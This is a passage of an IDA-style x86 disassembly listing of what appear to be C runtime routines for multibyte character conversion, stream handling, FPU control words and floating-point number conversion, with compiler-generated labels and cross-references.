arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41F9C7
		cmp	[ebp+arg_8], ebx
		jz	short loc_41F9C7
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41F9CD
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41F9C7
		mov	[eax], bx


loc_41F9C7:				; CODE XREF: sub_41F9A4+Cj
					; sub_41F9A4+11j ...
		xor	eax, eax


loc_41F9C9:				; CODE XREF: sub_41F9A4+42j
					; sub_41F9A4+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F9CD:				; CODE XREF: sub_41F9A4+17j
		cmp	dword_4D8788, ebx
		jnz	short loc_41F9E8
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41F9E3
		movzx	ax, al
		mov	[ecx], ax


loc_41F9E3:				; CODE XREF: sub_41F9A4+36j
					; sub_41F9A4+C0j
		push	1
		pop	eax
		jmp	short loc_41F9C9
; ---------------------------------------------------------------------------


loc_41F9E8:				; CODE XREF: sub_41F9A4+2Fj
		mov	ecx, off_43AB80
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41FA45
		mov	eax, dword_43AD8C
		cmp	eax, 1
		jle	short loc_41FA2C
		cmp	[ebp+arg_8], eax
		jl	short loc_41FA36
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4D8798
		call	dword_423164	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43AD8C
		jnz	short loc_41F9C9


loc_41FA2C:				; CODE XREF: sub_41F9A4+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41FA36
		cmp	[esi+1], bl
		jnz	short loc_41F9C9


loc_41FA36:				; CODE XREF: sub_41F9A4+61j
					; sub_41F9A4+8Bj ...
		mov	dword_4D86D0, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F9C9
; ---------------------------------------------------------------------------


loc_41FA45:				; CODE XREF: sub_41F9A4+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4D8798
		call	dword_423164	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41F9E3
		jmp	short loc_41FA36
sub_41F9A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FA70	proc near		; CODE XREF: sub_41BFF5+797p
					; sub_41BFF5+7E7p
		cmp	cl, 40h
		jnb	short loc_41FA8A
		cmp	cl, 20h
		jnb	short loc_41FA80
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41FA80:				; CODE XREF: sub_41FA70+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41FA8A:				; CODE XREF: sub_41FA70+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41FA70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA8F	proc near		; CODE XREF: sub_41CA6B+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41FADB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41FAAD
		test	al, 80h
		jz	short loc_41FADB
		test	al, 2
		jnz	short loc_41FADB


loc_41FAAD:				; CODE XREF: sub_41FA8F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41FABA
		push	esi
		call	sub_41F4D0
		pop	ecx


loc_41FABA:				; CODE XREF: sub_41FA8F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41FACA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41FADB
		inc	eax
		mov	[esi], eax


loc_41FACA:				; CODE XREF: sub_41FA8F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41FAE1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41FAE7
		inc	eax
		mov	[esi], eax


loc_41FADB:				; CODE XREF: sub_41FA8F+9j
					; sub_41FA8F+18j ...
		or	eax, 0FFFFFFFFh


loc_41FADE:				; CODE XREF: sub_41FA8F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FAE1:				; CODE XREF: sub_41FA8F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41FAE7:				; CODE XREF: sub_41FA8F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41FADE
sub_41FA8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAFD	proc near		; CODE XREF: sub_41D05B+52p
		xor	eax, eax
		retn
sub_41FAFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB00	proc near		; CODE XREF: sub_41FB35+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41FB4B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41FBDD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41FB00	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB35	proc near		; CODE XREF: sub_41D347+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41FB00
		pop	ecx
		pop	ecx
		retn
sub_41FB35	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB4B	proc near		; CODE XREF: sub_41FB00+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41FB5C
		push	10h
		pop	eax


loc_41FB5C:				; CODE XREF: sub_41FB4B+Cj
		test	bl, 4
		jz	short loc_41FB63
		or	al, 8


loc_41FB63:				; CODE XREF: sub_41FB4B+14j
		test	bl, 8
		jz	short loc_41FB6A
		or	al, 4


loc_41FB6A:				; CODE XREF: sub_41FB4B+1Bj
		test	bl, 10h
		jz	short loc_41FB71
		or	al, 2


loc_41FB71:				; CODE XREF: sub_41FB4B+22j
		test	bl, 20h
		jz	short loc_41FB78
		or	al, 1


loc_41FB78:				; CODE XREF: sub_41FB4B+29j
		test	bl, 2
		jz	short loc_41FB82
		or	eax, 80000h


loc_41FB82:				; CODE XREF: sub_41FB4B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41FBBA
		cmp	edx, 400h
		jz	short loc_41FBB7
		cmp	edx, 800h
		jz	short loc_41FBB3
		cmp	edx, esi
		jnz	short loc_41FBBA
		or	eax, edi
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBB3:				; CODE XREF: sub_41FB4B+5Ej
		or	eax, ebp
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBB7:				; CODE XREF: sub_41FB4B+56j
		or	ah, 1


loc_41FBBA:				; CODE XREF: sub_41FB4B+4Ej
					; sub_41FB4B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41FBCA
		cmp	ecx, ebp
		jnz	short loc_41FBCF
		or	eax, 10000h
		jmp	short loc_41FBCF
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FB4B+72j
		or	eax, 20000h


loc_41FBCF:				; CODE XREF: sub_41FB4B+76j
					; sub_41FB4B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41FBDC
		or	eax, 40000h

locret_41FBDC:				; CODE XREF: sub_41FB4B+8Aj
		retn
sub_41FB4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBDD	proc near		; CODE XREF: sub_41FB00+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41FBED
		push	1
		pop	eax


loc_41FBED:				; CODE XREF: sub_41FBDD+Bj
		test	bl, 8
		jz	short loc_41FBF4
		or	al, 4


loc_41FBF4:				; CODE XREF: sub_41FBDD+13j
		test	bl, 4
		jz	short loc_41FBFB
		or	al, 8


loc_41FBFB:				; CODE XREF: sub_41FBDD+1Aj
		test	bl, 2
		jz	short loc_41FC02
		or	al, 10h


loc_41FC02:				; CODE XREF: sub_41FBDD+21j
		test	bl, 1
		jz	short loc_41FC09
		or	al, 20h


loc_41FC09:				; CODE XREF: sub_41FBDD+28j
		test	ebx, 80000h
		jz	short loc_41FC13
		or	al, 2


loc_41FC13:				; CODE XREF: sub_41FBDD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41FC40
		cmp	ecx, 100h
		jz	short loc_41FC3D
		cmp	ecx, esi
		jz	short loc_41FC38
		cmp	ecx, edx
		jnz	short loc_41FC40
		or	ah, 0Ch
		jmp	short loc_41FC40
; ---------------------------------------------------------------------------


loc_41FC38:				; CODE XREF: sub_41FBDD+50j
		or	ah, 8
		jmp	short loc_41FC40
; ---------------------------------------------------------------------------


loc_41FC3D:				; CODE XREF: sub_41FBDD+4Cj
		or	ah, 4


loc_41FC40:				; CODE XREF: sub_41FBDD+44j
					; sub_41FBDD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41FC56
		cmp	ecx, 10000h
		jnz	short loc_41FC58
		or	eax, esi
		jmp	short loc_41FC58
; ---------------------------------------------------------------------------


loc_41FC56:				; CODE XREF: sub_41FBDD+6Bj
		or	eax, edx


loc_41FC58:				; CODE XREF: sub_41FBDD+73j
					; sub_41FBDD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41FC65
		or	ah, 10h

locret_41FC65:				; CODE XREF: sub_41FBDD+83j
		retn
sub_41FBDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC66	proc near		; CODE XREF: sub_41FD05+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41FCAB
		inc	esi
		cmp	esi, 3
		jge	short loc_41FCA6
		lea	eax, [eax+esi*4]


loc_41FC98:				; CODE XREF: sub_41FC66+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41FCAB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41FC98


loc_41FCA6:				; CODE XREF: sub_41FC66+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FCAB:				; CODE XREF: sub_41FC66+27j
					; sub_41FC66+35j
		xor	eax, eax
		pop	esi
		retn
sub_41FC66	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAF	proc near		; CODE XREF: sub_41FD05+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_420AFC
		add	esp, 0Ch
		dec	esi
		js	short loc_41FD01
		lea	edi, [ebx+esi*4]


loc_41FCE8:				; CODE XREF: sub_41FCAF+50j
		test	eax, eax
		jz	short loc_41FD01
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_420AFC
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41FCE8


loc_41FD01:				; CODE XREF: sub_41FCAF+34j
					; sub_41FCAF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FCAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD05	proc near		; CODE XREF: sub_41FE60+81p
					; sub_41FE60+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41FD69
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41FC66
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41FD66
		push	edi
		push	[ebp+arg_0]
		call	sub_41FCAF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41FD66:				; CODE XREF: sub_41FD05+51j
		mov	eax, [ebp+arg_4]


loc_41FD69:				; CODE XREF: sub_41FD05+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41FD89
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41FD89:				; CODE XREF: sub_41FD05+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FD05	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD91	proc near		; CODE XREF: sub_41FE60+75p
					; sub_41FE60+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41FD9F:				; CODE XREF: sub_41FD91+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41FD9F
		pop	esi
		retn
sub_41FD91	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDAC	proc near		; CODE XREF: sub_41FE60+5Fp
					; sub_41FE60+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41FDAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41FE60+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41FDBE:				; CODE XREF: sub_41FDB8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41FDD0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41FDBE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FDD0:				; CODE XREF: sub_41FDB8+9j
		xor	eax, eax
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDD3	proc near		; CODE XREF: sub_41FE60+C0p
					; sub_41FE60+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41FE09:				; CODE XREF: sub_41FDD3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41FE09
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41FE3B:				; CODE XREF: sub_41FDD3+86j
		cmp	ebx, edi
		jl	short loc_41FE4E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41FE55
; ---------------------------------------------------------------------------


loc_41FE4E:				; CODE XREF: sub_41FDD3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41FE55:				; CODE XREF: sub_41FDD3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41FE3B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FDD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE60	proc near		; CODE XREF: sub_41FFCC+Dp
					; sub_41FFE2+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41FECD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41FDB8
		test	eax, eax
		pop	ecx
		jnz	loc_41FF8C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDAC
		pop	ecx


loc_41FEC5:				; CODE XREF: sub_41FE60+E4j
		push	2


loc_41FEC7:				; CODE XREF: sub_41FE60+110j
		pop	eax
		jmp	loc_41FF8E
; ---------------------------------------------------------------------------


loc_41FECD:				; CODE XREF: sub_41FE60+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41FD91
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FD05
		add	esp, 10h
		test	eax, eax
		jz	short loc_41FEEE
		inc	ebx


loc_41FEEE:				; CODE XREF: sub_41FE60+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41FF06
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDAC
		pop	ecx
		jmp	short loc_41FF42
; ---------------------------------------------------------------------------


loc_41FF06:				; CODE XREF: sub_41FE60+98j
		cmp	ebx, eax
		jg	short loc_41FF49
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FD91
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41FDD3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FD05
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDD3
		add	esp, 20h


loc_41FF42:				; CODE XREF: sub_41FE60+A4j
		xor	esi, esi
		jmp	loc_41FEC5
; ---------------------------------------------------------------------------


loc_41FF49:				; CODE XREF: sub_41FE60+A8j
		cmp	ebx, [edi]
		jl	short loc_41FF75
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDAC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDD3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41FEC7
; ---------------------------------------------------------------------------


loc_41FF75:				; CODE XREF: sub_41FE60+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41FDD3
		pop	ecx
		pop	ecx


loc_41FF8C:				; CODE XREF: sub_41FE60+55j
		xor	eax, eax


loc_41FF8E:				; CODE XREF: sub_41FE60+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41FFBD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41FFC7
; ---------------------------------------------------------------------------


loc_41FFBD:				; CODE XREF: sub_41FE60+14Ej
		cmp	edi, 20h
		jnz	short loc_41FFC7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41FFC7:				; CODE XREF: sub_41FE60+15Bj
					; sub_41FE60+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FE60	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFCC	proc near		; CODE XREF: sub_41FFF8+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B508
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41FE60
		add	esp, 0Ch
		retn
sub_41FFCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFE2	proc near		; CODE XREF: sub_420025+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B520
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41FE60
		add	esp, 0Ch
		retn
sub_41FFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFF8	proc near		; CODE XREF: sub_41D480+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420C9D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FFCC
		add	esp, 24h
		leave
		retn
sub_41FFF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420025	proc near		; CODE XREF: sub_41D480+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420C9D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FFE2
		add	esp, 24h
		leave
		retn
sub_420025	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420052	proc near		; CODE XREF: sub_41D4BE+65p
					; sub_41D5C2+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_42008F
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_420075:				; CODE XREF: sub_420052+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420081
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420084
; ---------------------------------------------------------------------------


loc_420081:				; CODE XREF: sub_420052+27j
		push	30h
		pop	edx


loc_420084:				; CODE XREF: sub_420052+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_420075
		mov	edx, [ebp+arg_8]


loc_42008F:				; CODE XREF: sub_420052+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4200A8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4200A8


loc_42009B:				; CODE XREF: sub_420052+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4200A6
		mov	byte ptr [eax],	30h
		jmp	short loc_42009B
; ---------------------------------------------------------------------------


loc_4200A6:				; CODE XREF: sub_420052+4Dj
		inc	byte ptr [eax]


loc_4200A8:				; CODE XREF: sub_420052+42j
					; sub_420052+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4200B2
		inc	dword ptr [edx+4]
		jmp	short loc_4200C4
; ---------------------------------------------------------------------------


loc_4200B2:				; CODE XREF: sub_420052+59j
		push	edi
		call	sub_4176F0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_419190
		add	esp, 10h


loc_4200C4:				; CODE XREF: sub_420052+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200C9	proc near		; CODE XREF: sub_41D4BE+3Fp
					; sub_41D5C2+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42012D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4D88C0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_42116E
		mov	dword_4D88E8, eax
		add	esp, 18h
		movsx	eax, byte_4D88C2
		mov	dword_4D88E0, eax
		pop	edi
		movsx	eax, word_4D88C0
		mov	dword_4D88E4, eax
		mov	dword_4D88EC, offset dword_4D88C4
		mov	eax, offset dword_4D88E0
		pop	esi
		leave
		retn
sub_4200C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42012D	proc near		; CODE XREF: sub_4200C9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42017B
		cmp	ebx, edi
		jz	short loc_420174
		lea	edi, [ecx+3C00h]
		jmp	short loc_42019C
; ---------------------------------------------------------------------------


loc_420174:				; CODE XREF: sub_42012D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42019C
; ---------------------------------------------------------------------------


loc_42017B:				; CODE XREF: sub_42012D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420193
		cmp	edx, ebx
		jnz	short loc_420193
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4201DE
; ---------------------------------------------------------------------------


loc_420193:				; CODE XREF: sub_42012D+52j
					; sub_42012D+56j
		lea	edi, [ecx+3C01h]
